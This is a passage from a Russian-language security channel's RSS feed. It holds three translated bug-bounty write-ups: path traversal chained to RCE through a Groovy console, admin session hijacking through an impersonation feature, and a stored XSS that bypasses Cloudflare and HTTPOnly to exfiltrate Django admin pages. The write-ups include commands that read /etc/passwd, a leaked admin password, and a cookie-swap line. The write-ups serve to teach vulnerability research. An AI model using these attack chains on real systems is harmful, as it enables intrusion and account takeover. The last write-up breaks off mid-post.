  <p id="0pU9"><a href="https://medium.com/@zack0x01_/how-i-found-a-critical-vulnerability-and-earned-4-000-in-bug-bounty-hunting-2ce4a1227fdc" target="_blank">Источник</a></p>
  <p id="pflk"><strong>Life-Hack Media:</strong></p>
  <p id="gIiW"><a href="https://t.me/+9vFcPuJbUW81MjEy" target="_blank">Life-Hack - Жизнь-Взлом</a></p>
  <p id="QOcc"><a href="https://t.me/+pHdKt8ZxN0o2NGRi" target="_blank">OSINT</a></p>
  <p id="16PP"><a href="https://t.me/+gsTxO5cHhX0wN2Uy" target="_blank">Новости Кибербеза</a></p>
  <p id="5hPt"><a href="https://t.me/+LjoqRT1KP41lNDgy" target="_blank">Курсы по программированию</a></p>
  <p id="qLcM"><a href="https://t.me/+zmVTbJXjHu8yMTNi" target="_blank">Юмор</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@haccking/AeauL1LEgwo</guid><link>https://teletype.in/@haccking/AeauL1LEgwo?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/AeauL1LEgwo?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>Путешествие от Limited Path Traversal к RCE с вознаграждением в $40,000!</title><pubDate>Sun, 19 Jan 2025 19:06:25 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/e2/6a/e26a6ce9-2152-4242-9a2a-dcc73cac3250.png"></media:content><category>Информационная безопасность (ИБ)</category><description><![CDATA[<img src="https://img1.teletype.in/files/41/b4/41b4b19f-b27d-4ce9-a19e-fc9961d15c82.png"></img>]]></description><content:encoded><![CDATA[
  <p id="n9oC">Меня зовут Абдулла Наваф, я занимаюсь баг-баунти на полную ставку, активно работаю с BugCrowd и вхожу там в Топ-50, 11-е место по P1 багам с 226 P1. Я охочусь за P1 и P2 ошибками.</p>
  <p id="ypYc">В этом документе я подробно расскажу, как я и Орва Атият успешно раскрутили ограниченный обход пути (limited path traversal) в удалённое выполнение кода (RCE), заработав таким образом вознаграждение в 40 000 долларов.</p>
  <p id="wCBx"><strong>Описание:</strong></p>
  <p id="67vN">Во время проведения разведки и сканирования портов нашей цели мы обнаружили поддомен с открытым портом 8443, http://admin.target.com:8443. Ответ к сожалению был 404, и большинство охотников игнорировали бы такие поддомены, возвращающие 404. Но я не!</p>
  <p id="CbOa">При фаззинге http://admin.target.com:8443/FUZZ я обнаружил путь /admin/, который переадресовывал на страницу входа http://admin.target.com:8443/admin/faces/jsf/login.xhtml. После тестирования этой точки входа и не обнаружения уязвимостей, я решил продолжить фаззинг по пути ‘admin’, например http://admin.target.com:8443/admin/FUZZ. Я наткнулся на точку /download/, расположенную по адресу /admin/Download, которая возвращала код состояния 200, но с пустым ответом.</p>
  <p id="SHhp">Из имени конечной точки можно сделать вывод о её функции! Однако нам не хватает правильных параметров, и нам нужен 100% действительный файл и путь. Поскольку конечная точка находится под /admin/, мы должны искать файлы, которые обычно функционируют в административной директории. Как правило, я начинаю искать LFI и Path Traversal, используя JavaScript файлы, поэтому я начал свои тесты с файла под названием admin/js/main.js. Этот подход помогает нам определить уязвимости LFI и обхода пути, а также выявить доступные пути. Кроме того, поскольку нам нужно определить правильный параметр, который требует /download, мы должны использовать действительно существующий файл, которым является /admin/js/main.js. Это гарантирует, что, когда мы будем выполнять фаззинг правильного параметра, мы его не пропустим. Команда для фаззинга была структурирована следующим образом:</p>
  <figure id="pATQ" class="m_original">
    <img src="https://img1.teletype.in/files/41/b4/41b4b19f-b27d-4ce9-a19e-fc9961d15c82.png" width="692" />
  </figure>
  <p id="y2h1">По результатам фаззинга мы знаем, что /admin/download принимает параметр с именем filename. Таким образом, доступ к http://admin.target.com:8443/admin/download?filename=/js/main.js отображает файл по адресу http://admin.target.com:8443/admin/js/main.js. Первое, что я попробовал – это добиться полного обхода пути, попробовав прочитать /etc/passwd. К сожалению, функция /download работает только для файлов внутри /admin/*; всё, что находится за пределами /admin/, работать не будет. Однако это подтверждает, что у нас действительно есть уязвимость ограниченного обхода пути!</p>
  <p id="ZmVS">Поскольку мы работаем в Java-среде, я попытался прочитать /WEB-INF/web.xml, потому что этот файл часто содержит много полезной информации. Перейдя по адресу <a href="http://admin.target:8443/admin/download?fileName=/WEB-INF/web.xml" target="_blank">http://admin.target:8443/admin/download?fileName=/WEB-INF/web.xml</a>, я смог получить доступ к некоторой интересной информации!</p>
  <figure id="WeIo" class="m_original">
    <img src="https://img4.teletype.in/files/39/a5/39a5bd7b-2945-4057-9727-2afbd625fd1e.png" width="1184" />
  </figure>
  <p id="gzaB">Обратите внимание, что мы нашли три URL: /download/, /faces/ (которые мы уже знали) и новый: /incident-report. Посещение http://admin.target:8443/admin/incident-report вызвало нечто неожиданное: началось скачивание огромного лог-файла под названием incident-report-xxxxxx.zip. Этот файл оказался логом реального времени!</p>
  <p id="MXGs">Лог-файл был таким:</p>
  <figure id="aE1P" class="m_original">
    <img src="https://img4.teletype.in/files/77/6b/776b38a1-8556-40eb-a1ae-f5cb81b9b1c3.png" width="702" />
  </figure>
  <p id="h1Wf">Каждый раз, когда вы посещаете http://admin.target:8443/admin/incident-report, новый лог-файл скачивается, потому что логи генерируются в реальном времени.</p>
  <p id="8SVU">Должен ли я остановиться здесь и отчитаться об этом? Многие охотники могли бы завершить своё исследование на этом этапе! Но не я!</p>
  <p id="PPjH"><strong>Эскалация влияния:</strong></p>
  <p id="RSpG">Изучая лог-файлы, я нашёл файл с паролями админов:</p>
  <figure id="wi0I" class="m_original">
    <img src="https://img4.teletype.in/files/bb/ba/bbba4946-6b76-4c4d-a30b-3644cbd6356a.png" width="702" />
  </figure>
  <p id="AcK6"> 21232f297a57a5a743894a0e4a801fc3:admin (md5), не сработал. Как видно из файла - это был старый пароль, следующий был 2a92e4f4ecc321db24c8f389a287d793:Glglgl123.</p>
  <figure id="dpA0" class="m_original">
    <img src="https://img3.teletype.in/files/a4/a8/a4a8c83e-dd36-4bd8-a7ae-e3e5f478e2d7.png" width="702" />
  </figure>
  <p id="MSY1">Я снова перешёл к странице входа, /admin/faces/jsf/login.xhtml, попробовал admin:Glglgl123, и это сработало с полным доступом к панели в качестве администратора!</p>
  <figure id="l8AH" class="m_original">
    <img src="https://img4.teletype.in/files/bd/1b/bd1be9b8-9ad2-4e9c-bf9e-e0581de728af.png" width="702" />
  </figure>
  <p id="KK6X">После входа я нашёл функцию под названием export_step2.xhtml, в которой есть консоль Groovy, поэтому я остановился здесь и отчитался об этом, а затем попросил владельца программы возможности испытать удачу и попробовать докрутить до RCE. </p>
  <p id="pJDn">Прежде чем углубиться, давайте поймём, что такое Groovy консоль. Это инструмент разработки и отладки, который предоставляет интерфейс для выполнения скриптов Groovy. Разработчики часто используют его для тестирования фрагментов кода, изучения API и прототипирования функциональности прямо внутри контролируемой среды. Обычно она доступна только доверенным пользователям на внутренних системах, так как позволяет выполнять произвольный код.</p>
  <p id="FcOr"><strong>Проблемы с безопасностью при доступе без надлежащей аутентификации:</strong></p>
  <p id="UBVN">- Произвольное выполнение кода: Если неавторизованное лицо получит доступ к консоли Groovy, оно сможет выполнять любой код Groovy или Java на сервере. Это может привести к удалённому выполнению кода (RCE), что потенциально позволит злоумышленникам украсть данные, скомпрометировать другие приложения или получить полный контроль над сервером.</p>
  <p id="cjdb">- Утечка конфиденциальной информации: Злоумышленник может выполнить команды для чтения конфигурационных файлов, переменных окружения или даже учётных данных, хранящихся на сервере. Это предоставит дополнительные возможности для эксплуатации и горизонтального продвижения.</p>
  <p id="mPZb">- Эскалация прав: Если консоль Groovy работает с повышенными привилегиями, злоумышленник может выполнять операции, к которым обычные пользователи приложения не имеют доступа. Это может включать создание или удаление файлов, изменение логики приложения или установку вредоносного ПО.</p>
  <p id="PnCM">В кратце, несанкционированный доступ к консоли Groovy может эффективно превратить её в бэкдор для злоумышленников, предоставляя им мощный инструмент для компрометации всей системы.</p>
  <p id="3kYY">Так что теперь, у меня зелёный свет! Время подготовиться к интересному приключению!</p>
  <p id="DkTf"><strong>RCE:</strong></p>
  <p id="bzv0">Возвращаясь к export_step2.xhtml, где есть консоль Groovy; я использовал этот полезный код:</p>
  <figure id="f8Nl" class="m_original">
    <img src="https://img4.teletype.in/files/73/74/7374fe7b-3e5a-4146-8073-e39734d22987.png" width="1469" />
  </figure>
  <p id="RXw3">Но, как вы видите, команда была выполнена, но без вывода!</p>
  <p id="F3iT">Я попробовал разные команды:</p>
  <pre id="Zi06">print &quot;id&quot;.execute().text
print &quot;sudo cat /etc/passwd&quot;.execute().text</pre>
  <p id="82uq">К сожалению, та же проблема сохранялась: команды были выполнены, но никаких результатов не было возвращено.</p>
  <blockquote id="qzzo">(Для читателя): Есть предположения о том, где может скрываться вывод этой команды?? Если вы угадаете правильно, вы не только почувствуете себя рок-звездой, но и будете намного ближе к получению масштабного вознаграждения!</blockquote>
  <p id="OT6G"><strong>Цепочка уязвимостей для достижения полного RCE:</strong></p>
  <p id="pFE8">Подождите, вы помните функцию http://admin.target:8443/admin/incident-report? </p>
  <p id="r9t9">Как упоминалось ранее… </p>
  <blockquote id="Z1WS">Посещение http://admin.target:8443/admin/incident-report вызвало нечто неожиданное: началось скачивание огромного лог-файла под названием incident-report-xxxxxx.zip. Этот файл оказался логом в реальном времени!</blockquote>
  <p id="5sow">Да! Это оказалось ключом к получению вывода RCE. Посещая <a href="http://admin.target:8443/admin/incident-report" target="_blank">http://admin.target:8443/admin/incident-report</a>, я мог скачать свежие логи – и угадайте, что я там нашёл? Вывод RCE!</p>
  <figure id="9xsD" class="m_original">
    <img src="https://img1.teletype.in/files/85/25/8525ecd1-e431-4ecf-ab2a-44d5a70f3e2a.png" width="625" />
  </figure>
  <p id="nrIx">Эксплуатация теперь проста:<br />- Войдите с учётными данными, которые мы обнаружили.<br />- Перейдите к консоли Groovy.<br />- Выполните команду, например &#x60;print &quot;sudo cat /etc/passwd&quot;.execute().text&#x60; (или попробуйте любую другую команду).<br />- Теперь перейдите к конечной точке логов по адресу http://admin.target:8443/admin/incident-report.<br />- Скачайте актуальный лог-файл, и вот он – вывод RCE!</p>
  <blockquote id="pU5B">Почему я не попытался использовать OOB-RCE или создать файл на сервере, чтобы обойти все эти шаги? Я знаю, что у вас возник этот вопрос! Ответ прост :)</blockquote>
  <p id="UBfH">По двум причинам:<br />- OOB-RCE невозможен: Есть какое-то подобие WAF, который блокирует любые исходящие соединения на мой IP или любой внешний IP.<br />- Низкие выплаты: OOB-RCE обычно приводит к меньшему вознаграждению по сравнению с прямым RCE. Поверьте мне – я достаточно долго в этой области, и знаю!</p>
  <p id="ecqC">Программа BugBounty запросила, чтобы мы отправили два дополнительных отчёта: один про RCE и другой про учётные данные, которые мы обнаружили. Общее вознаграждение: 40 000 долларов.</p>
  <figure id="Q2Q4" class="m_original">
    <img src="https://img2.teletype.in/files/56/cc/56cc341c-22fa-4c86-a2cd-397a10ea9ef4.png" width="673" />
  </figure>
  <p id="10nJ">Уроки и выводы:<br />    1. Рассматривайте Bug Bounty как игру: думайте об этом, как о квесте – не останавливайтесь, пока не достигнете своей конечной цели. В моем случае конечной целью было достижение RCE и получение вознаграждения в 40К долларов. Многие охотники могут остановиться на первой уязвимости, которую они найдут, и сразу же сообщить о ней. Как вы видели, я не остановился на конечной точке, которая просто скачивала логи, или даже на обходе пути. Я продолжал исследовать, пока не обнаружил большую награду. Этот подход неизменно приводил меня к крупным выплатам!<br />    2. Когда вы находите уязвимость на поддомене, держите её до завершения всех своих тестов на этом поддомене! Как только вы обнаружите уязвимость на поддомене, раскручивайте ее, пока не завершите все свои тесты. Как вы видели, одно небольшое открытие – например, ограниченный обход пути к лог-файлам – может привести к обнаружению паролей администратора, что затем можно довести до RCE. А иногда вы возвращаетесь к той начальной уязвимости, чтобы получить последнюю часть головоломки!<br />    3. Сосредоточьтесь на качестве, а не на количестве: Изначально мы объединили все эти находки в один отчет. Этот подход не только демонстрирует уважение к команде владельца программы, но и зарабатывает большее доверие и потенциально большие выплаты. На самом деле, владелец программы запросил, чтобы мы разделили отчет на отдельные заявки. Почему? Потому что это позволяет им предлагать более высокие вознаграждения за отдельные находки!</p>
  <p id="xXS5">Все эти находки были сделаны с OrwaGodfather, с которым мы сотрудничаем в нашей охоте. </p>
  <p id="BSRk">Надеюсь, вам было интересно читать!</p>
  <p id="0pU9"><a href="https://medium.com/@HX007/a-journey-of-limited-path-traversal-to-rce-with-40-000-bounty-fc63c89576ea" target="_blank">Источник</a></p>
  <p id="pflk"><strong>Life-Hack Media:</strong></p>
  <p id="gIiW"><a href="https://t.me/+9vFcPuJbUW81MjEy" target="_blank">Life-Hack - Жизнь-Взлом</a></p>
  <p id="QOcc"><a href="https://t.me/+pHdKt8ZxN0o2NGRi" target="_blank">OSINT</a></p>
  <p id="16PP"><a href="https://t.me/+gsTxO5cHhX0wN2Uy" target="_blank">Новости Кибербеза</a></p>
  <p id="5hPt"><a href="https://t.me/+LjoqRT1KP41lNDgy" target="_blank">Курсы по программированию</a></p>
  <p id="qLcM"><a href="https://t.me/+zmVTbJXjHu8yMTNi" target="_blank">Юмор</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@haccking/DeT9GeG2_Dn</guid><link>https://teletype.in/@haccking/DeT9GeG2_Dn?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/DeT9GeG2_Dn?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>Эскалация привилегий через функционал имперсонации</title><pubDate>Sun, 19 Jan 2025 17:43:33 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/94/82/94827bd5-84dd-4724-849f-0aa0400baab5.png"></media:content><category>Информационная безопасность (ИБ)</category><description><![CDATA[<img src="https://img1.teletype.in/files/c0/d1/c0d15c57-3d35-46f4-b296-17a3dd9056f2.png"></img>Я хочу поделиться с вами интересной уязвимостью, которую я обнаружил в одной из программ Bugcrowd. Она была связана с функцией «имперсонации пользователя».]]></description><content:encoded><![CDATA[
  <p id="xvdd">Я хочу поделиться с вами интересной уязвимостью, которую я обнаружил в одной из программ Bugcrowd. Она была связана с функцией «имперсонации пользователя».</p>
  <p id="plxD"><strong>Что такое имперсонация?</strong></p>
  <p id="6JMs">Имперсонация позволяет администраторам «войти от имени» другого пользователя без необходимости знать его учетные данные. Эта функция распространена на платформах, где администраторам может понадобиться отладить проблемы, проверить разрешения пользователей или отреагировать на жалобы.</p>
  <p id="RZQX">Администраторы используют имперсонацию для:<br />    • Поиска и устранения проблем, о которых сообщили пользователи.<br />    • Проверки пользовательских настроек.<br />    • Отладки поведения платформы для пользователя.</p>
  <p id="jtls">Например, если пользователь сообщает, что не может получить доступ к своим файлам, администратор может имперсонировать этого пользователя, чтобы протестировать функцию загрузки файлов и выяснить причину проблемы. После завершения расследования администратор завершает сессию имперсонации и возвращается к своей учетной записи администратора.</p>
  <figure id="w43z" class="m_original">
    <img src="https://img1.teletype.in/files/c0/d1/c0d15c57-3d35-46f4-b296-17a3dd9056f2.png" width="694" />
  </figure>
  <p id="1neo"><strong>Как работает имперсонация на целевой системе</strong></p>
  <p id="NnjJ">Теперь поговорим о целевой системе — example.com. Платформа предоставляет функцию имперсонации пользователей, чтобы помочь им устранить проблемы.</p>
  <p id="DMEt">Вот как это работает:<br />    1. Имперсонация пользователя администратором:<br />        ◦ Администратор переходит в раздел «Пользователи» и выбирает пользователя, которого хочет имперсонировать.<br />        ◦ После нажатия на «Имперсонация» приложение создает новую сессию, позволяющую администратору действовать от имени пользователя.<br />    2. Управление сессиями:<br />        ◦ Во время имперсонации оригинальная сессия администратора приостанавливается.<br />        ◦ Создается новая сессия имперсонации, которая связывается с имперсонируемым пользователем.<br />    3. Завершение имперсонации:<br />        ◦ Когда администратор нажимает «Завершить имперсонацию», он возвращается к своей оригинальной сессии.</p>
  <p id="XwQb"><strong>Исследование активных сессий</strong></p>
  <p id="n58t">Во время исследования функции «Активная сессия» (которая относится к другому endpoint), я обнаружил, что страница отображает все активные сессии, привязанные к учетной записи пользователя, включая те, которые были созданы путем имперсонации.</p>
  <p id="S7BN">Пример отображаемой информации:</p>
  <figure id="n919" class="m_original">
    <img src="https://img4.teletype.in/files/3c/18/3c188865-336e-48c8-bbb5-f889b1853f28.png" width="673" />
  </figure>
  <p id="wz1c">Я решил завершить все сессии, кроме текущей. Теперь активной осталась только моя сессия.</p>
  <figure id="Vabo" class="m_original">
    <img src="https://img2.teletype.in/files/93/1f/931f9b72-3e98-4a63-902e-0ed271cba04e.png" width="666" />
  </figure>
  <p id="Yuc3">Теперь, когда администратор начнет имитировать мою учетную запись, мы обнаружим нечто интересное:</p>
  <figure id="v43Z" class="m_original">
    <img src="https://img4.teletype.in/files/f8/7c/f87c22c1-4d4b-4526-8c91-581cd2d1570f.png" width="666" />
  </figure>
  <p id="iA9c">Да, когда администратор начинает имитировать мою учетную запись, сессия отображается в разделе Active Sessions с видимым идентификатором сессии двумя способами:</p>
  <p id="WfW2">Вариант 1: Проверяя HTML-код страницы для кнопки &quot;Revoke&quot; через инструменты разработчика (F12). Идентификатор сессии указывается в данных запроса:</p>
  <pre id="hmmO">&lt;button id=&quot;revoke-session-1234&quot; class=&quot;revoke-button&quot; data-session-id=&quot;abcd1234efgh5678ijklmnop&quot;&gt;Revoke&lt;/button&gt;</pre>
  <p id="qQ6h">Вариант 2: Перехватив HTTP-запрос после нажатия на кнопку &quot;Revoke&quot;. Запрос выглядит следующим образом:</p>
  <pre id="oWCc">POST /users/sessions/revoke HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Bearer &lt;access_token&gt;
{
  &quot;session_id&quot;: &quot;abcd1234efgh5678ijklmnop&quot;
}</pre>
  <p id="h9JM">Я скопировал идентификатор сессии из перехваченного запроса и удалил его. Теперь у меня был временный идентификатор сессии, назначенный администратору, имитирующему мою учетную запись.</p>
  <p id="2GRq">Чтобы получить контроль, я:<br />    1. Открыл инструменты разработчика (F12), перешел в раздел Cookies.<br />    2. Заменил идентификатор моей сессии на идентификатор сессии администратора:</p>
  <figure id="D0K9" class="m_original">
    <img src="https://img2.teletype.in/files/5f/65/5f65936e-123b-44c7-9433-66898e88c24d.png" width="682" />
  </figure>
  <p id="Lv15">Альтернативно, я мог вручную установить идентификатор сессии через консоль:</p>
  <pre id="7eSG">document.cookie = &quot;_session_id=SESSION_ID&quot;;</pre>
  <p id="cUMQ">Затем обновить страницу.</p>
  <p id="pgzB">На этом этапе я вошел в систему как администратор, который использует мою учетную запись.</p>
  <p id="cBtP"><strong>Что произошло?</strong></p>
  <p id="6HR1">Эксплуатация уязвимости сработала, потому что временная сессия все еще была активна, и администратор продолжал использовать ее для имитации. По сути, я &quot;перехватил&quot; временную сессию, которую использовал администратор, вместо его исходной сессии.</p>
  <p id="UodK">Когда администратор запрашивает имитацию пользователя, приложение сначала проверяет, является ли он администратором. Если да, то создается временный идентификатор сессии для имитации. Когда администратор завершает имитацию, приложение проверяет идентификатор сессии и восстанавливает исходную сессию администратора.</p>
  <figure id="GUPn" class="m_original">
    <img src="https://img4.teletype.in/files/34/73/34733afd-e2cd-4662-8deb-a2290f43edce.png" width="569" />
  </figure>
  <p id="Akqp">После получения доступа к учетной записи администратора я нажал кнопку «Завершить имперсонацию», что завершило сессию имитации и восстановило исходную сессию администратора. Однако, поскольку система проверяла только значение временного идентификатора сессии, я смог остаться в системе как администратор, эффективно повысив свои привилегии.</p>
  <p id="VSbI">Шаги для эксплуатации уязвимости:<br />    1. Войти в платформу как обычный пользователь (атакующий).<br />    2. Отозвать все сессии на вкладке «Активные сессии», кроме своей собственной.<br />    3. Администратор входит в систему и начинает имитацию учетной записи атакующего.<br />    4. После начала имитации администратор получает временный идентификатор сессии, связанный с учетной записью атакующего.<br />    5. Атакующий исследует HTML-код кнопки «Отозвать» или перехватывает запрос и копирует идентификатор сессии из запроса.<br />    6. Атакующий открывает консоль разработчика (F12), переходит в раздел «Cookies», очищает свои текущие cookie-файлы и заменяет их идентификатором сессии администратора. Затем обновляет страницу.<br />    7. Теперь атакующий вошел в систему как администратор. Затем он может нажать кнопку «Завершить имперсонацию» , которую обычно нажимает администратор.<br />    8. Поскольку сессия атакующего теперь использует временный идентификатор сессии имитации, нажатие «Завершить имитацию» вернет его в исходную сессию администратора.</p>
  <p id="IVSS"><strong>Результат:</strong></p>
  <p id="LNEj">Компания признала проблему как уязвимость высокой степени опасности и выплатила вознаграждение в размере $1250.</p>
  <figure id="CsD6" class="m_original">
    <img src="https://img4.teletype.in/files/70/32/7032e9c7-2f3e-48c3-b511-7a8c9ce3e9d2.png" width="630" />
  </figure>
  <p id="0pU9"><a href="https://medium.com/@0x_xnum/privilege-escalation-via-impersonation-features-feature-c49cf3a3dc03" target="_blank">Источник</a></p>
  <p id="pflk"><strong>Life-Hack Media:</strong></p>
  <p id="gIiW"><a href="https://t.me/+9vFcPuJbUW81MjEy" target="_blank">Life-Hack - Жизнь-Взлом</a></p>
  <p id="QOcc"><a href="https://t.me/+pHdKt8ZxN0o2NGRi" target="_blank">OSINT</a></p>
  <p id="16PP"><a href="https://t.me/+gsTxO5cHhX0wN2Uy" target="_blank">Новости Кибербеза</a></p>
  <p id="5hPt"><a href="https://t.me/+LjoqRT1KP41lNDgy" target="_blank">Курсы по программированию</a></p>
  <p id="qLcM"><a href="https://t.me/+zmVTbJXjHu8yMTNi" target="_blank">Юмор</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@haccking/Xgyfy7JY8Vn</guid><link>https://teletype.in/@haccking/Xgyfy7JY8Vn?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/Xgyfy7JY8Vn?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>От XSS уязвимости до полного административного доступа </title><pubDate>Thu, 16 Jan 2025 18:09:34 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/a2/a0/a2a072e0-2356-4ba1-a6ae-e89287ad4c56.png"></media:content><category>Информационная безопасность (ИБ)</category><description><![CDATA[<img src="https://img1.teletype.in/files/8d/b6/8db6f0a0-a56e-4c01-b337-951d45cc0443.png"></img>В этом посте я расскажу вам о недавнем реальном тестировании, где я использовал stored XSS для получения административного доступа, даже несмотря на защиту с использованием HTTPOnly флага в cookies. Также я продемонстрирую, как мне удалось обойти эту меру безопасности и захватить учетную запись администратора.]]></description><content:encoded><![CDATA[
  <p id="GCna">В этом посте я расскажу вам о недавнем реальном тестировании, где я использовал stored XSS для получения административного доступа, даже несмотря на защиту с использованием HTTPOnly флага в cookies. Также я продемонстрирую, как мне удалось обойти эту меру безопасности и захватить учетную запись администратора.</p>
  <figure id="Q30D" class="m_original">
    <img src="https://img1.teletype.in/files/8d/b6/8db6f0a0-a56e-4c01-b337-951d45cc0443.png" width="657" />
  </figure>
  <p id="q9Jm">Давайте начнем с краткого объяснения, что такое защита HTTPOnly и как она помогает разработчикам предотвратить кражу учетных данных через cookies.</p>
  <p id="g48X">Пару слов о cookies, этот механизм аутентифицирует пользователя и различает каждого в зависимости от их привилегий в веб-приложении. Cookies имеют различные меры безопасности, чтобы улучшить их использование и защитить конечного пользователя.</p>
  <p id="uy4D">Некоторые из доступных атрибутов cookies:</p>
  <figure id="bcXH" class="m_original">
    <img src="https://img1.teletype.in/files/4b/e2/4be2936d-f1b7-4061-982a-1d14eafa0036.png" width="836" />
  </figure>
  <p id="CUfz">Объяснение HTTPOnly от PHP.net:</p>
  <blockquote id="T0ry">Когда установлено в true, cookie будет доступно только через протокол HTTP. Это означает, что cookie не будет доступно для языков программирования, таких как JavaScript.</blockquote>
  <p id="BXew"><strong>О нет!</strong></p>
  <p id="7WnS">Это значит, что если наш XSS payload является частью HTML DOM, мы все равно не сможем получить доступ к значению cookie, чтобы выдать себя за жертву для захвата аккаунта.</p>
  <p id="NiKg">Нам нужно найти альтернативные пути для эксплуатации нашей XSS:</p>
  <figure id="Sme1" class="m_original">
    <img src="https://img2.teletype.in/files/d0/55/d0556616-2820-4c08-9824-2efd39459dec.png" width="401" />
  </figure>
  <p id="aOP3">После объяснения, что такое HTTPOnly, давайте углубимся в суть атаки:</p>
  <p id="JDlw">Наше путешествие начинается с клиента, который владеет социальной медиа-платформой, на которой размещаются пользовательские посты и раздел комментариев для взаимодействия с другими пользователями.</p>
  <p id="lVjD">Страница комментариев приложения выглядит примерно так:</p>
  <figure id="TrpN" class="m_original">
    <img src="https://img1.teletype.in/files/02/9c/029c81ba-68d1-4e3c-8cf9-9302603cf8b5.png" width="838" />
  </figure>
  <p id="P3DT">Первое, что сразу приходит в голову, это внедрить тестовый XSS-payload, чтобы увидеть, отражается ли он обратно (временно или постоянно) на фронтенде приложения.</p>
  <p id="NvTH">К сожалению, это не сработало из-за защиты CloudFlare, внедренной администратором при развертывании приложения:</p>
  <figure id="V4Lc" class="m_original">
    <img src="https://img2.teletype.in/files/96/ee/96ee3139-ed7c-410e-8a43-e18f6c3f9e1b.png" width="840" />
  </figure>
  <p id="UzoT">Значит от нас потребуется гораздо больше усилий, чтобы обойти эту защиту и внедрить нашу вредоносную XSS нагрузку.</p>
  <p id="NiTu">Мы можем попытаться обойти CloudFlare Proxy защиту и раскрыть исходный IP-адрес веб-сервера с помощью некоторых техник или найти HTML / JavaScript нагрузку, которая «обманет» CloudFlare, чтобы тот пометил ее как допустимую для выполнения на фронтенде.</p>
  <p id="JK7t">На этот раз я выбрал второй вариант.</p>
  <p id="hSkD"><strong>Спойлер</strong>: Это будет больно...</p>
  <p id="oxdS">После нескольких попыток внедрить классические XSS нагрузки из списка <a href="https://github.com/Proviesec/xss-payload-list" target="_blank">xss-payload-list</a>, все XSS, которые я вставил, были отфильтрованы прокси-сервером CloudFlare и помечены как неисполнимые.</p>
  <p id="lNXN">На этом этапе я понял, что нужно конкретно постараться и найти специально разработанную нагрузку для обхода CloudFlare защиты.</p>
  <p id="c30M">Наконец, я придумал рабочую нагрузку, которая отразилась обратно в DOM HTML, а именно:</p>
  <figure id="kSSZ" class="m_original">
    <img src="https://img3.teletype.in/files/e2/b7/e2b7f199-99b8-429f-bdad-92fa2504e562.png" width="830" />
    <figcaption>Скрытая UI нагрузка с использованием CSS-атрибута display none</figcaption>
  </figure>
  <p id="Wl4R">И мы получили отстутк на наш временный вебхук от XSS!</p>
  <figure id="6eKa" class="m_original">
    <img src="https://img3.teletype.in/files/e7/72/e77279ab-ce77-4f22-b5be-91c125969094.png" width="847" />
  </figure>
  <p id="oKwp"><strong>Примечание</strong>: важно отметить, что мы имеем дело со stored XSS, так как комментарии сохраняются в базе данных приложения и извлекаются каждый раз, когда пользователь посещает соответствующий раздел комментариев на посте.</p>
  <p id="fBRH">Продолжим...</p>
  <p id="f7NW">На этом этапе у нас есть проверенная точка инъекции, но этого мало. Нужно найти способ полностью использовать потенциал воздействия этой уязвимости.</p>
  <p id="bjNJ">Кража cookie администратора <strong>исключена</strong> (помните о флаге HTTPOnly?). Так что я пришел к осознанию, что мы могли бы манипулировать непосредственно HTML DOM.</p>
  <p id="qa5h">Возвращаемся на этап Разведки...</p>
  <p id="jo26">На начальном этапе исследования веб-приложения мой плагин Wappalyzer для Chrome определил, что приложение было написано на Python:</p>
  <figure id="yOrx" class="m_original">
    <img src="https://img4.teletype.in/files/78/13/7813c8b0-a250-42f2-ac6b-474a635a0482.png" width="493" />
  </figure>
  <p id="ueEK">На сегодняшний день существует несколько популярных Python-фреймворков для веб-разработки, такие как Django и Flask.</p>
  <p id="0921">Изучив исходный код HTML, можно выявить фреймворк Django:</p>
  <figure id="mhTF" class="m_original">
    <img src="https://img2.teletype.in/files/92/2c/922c3c5a-fe3d-4000-9648-83f83487615c.png" width="584" />
  </figure>
  <p id="pzF2">Этот фреймворк обычно управляется через /admin, со страницей под названием «Django Administration»:</p>
  <figure id="7Q2X" class="m_original">
    <img src="https://img1.teletype.in/files/8b/c3/8bc3ae81-e5f1-49a3-a92d-01f9a9a3954b.png" width="441" />
  </figure>
  <p id="a29m">Конечно, на этом этапе у меня не было прав администратора, и я получил сообщение об несанкционированном доступе при попытке зайти на страницу с уже авторизованным cookie.</p>
  <figure id="23Yq" class="m_original">
    <img src="https://img3.teletype.in/files/ae/0d/ae0db2dc-25ce-4413-8dd7-2bd442493632.png" width="523" />
  </figure>
  <p id="FHhK"><strong>Держитесь... далее ещё интереснее...</strong></p>
  <p id="LTzC">Мне пришла блестящая идея! Мы можем отправлять XHR/AJAX запросы на /admin от имени авторизованного пользователя (конечно, с правами администратора).</p>
  <p id="gWpc">Это позволит нам украсть HTML-контент страницы Django Admin, извлечь CSRF nonce-токен, а затем отправить GET/POST запрос.</p>
  <p id="Mqmx">Так как мы работаем в рамках того же домена, в этом сценарии не происходит нарушения Same-origin policy, что позволяет нам изменять и удалять данные клиента, включая сброс их личных паролей 😈</p>
  <p id="MLKN">А главная фишка в том, что нам не потребовалась фишинговая атака или какие-либо перенаправления на мою страницу с XSS, так как страница с комментариями изначально доступна всем!</p>
  <p id="T1kw">Последняя нагрузка использовала двойной вызов функций JavaScript «fetch» для того, чтобы сначала получить содержимое страницы /admin, а затем отправить ответ обратно на мой экземпляр webhook:</p>
  <figure id="9aMr" class="m_original">
    <img src="https://img1.teletype.in/files/82/44/8244a6ee-b732-4bc1-851a-3e95dd6556c1.png" width="794" />
  </figure>
  <p id="SMqW"><strong>Бинго!</strong></p>
  <p id="ZcKh">Контент со страницы администратора Django был захвачен в разделе Raw Content, как показано ниже:</p>
  <figure id="eygz" class="m_original">
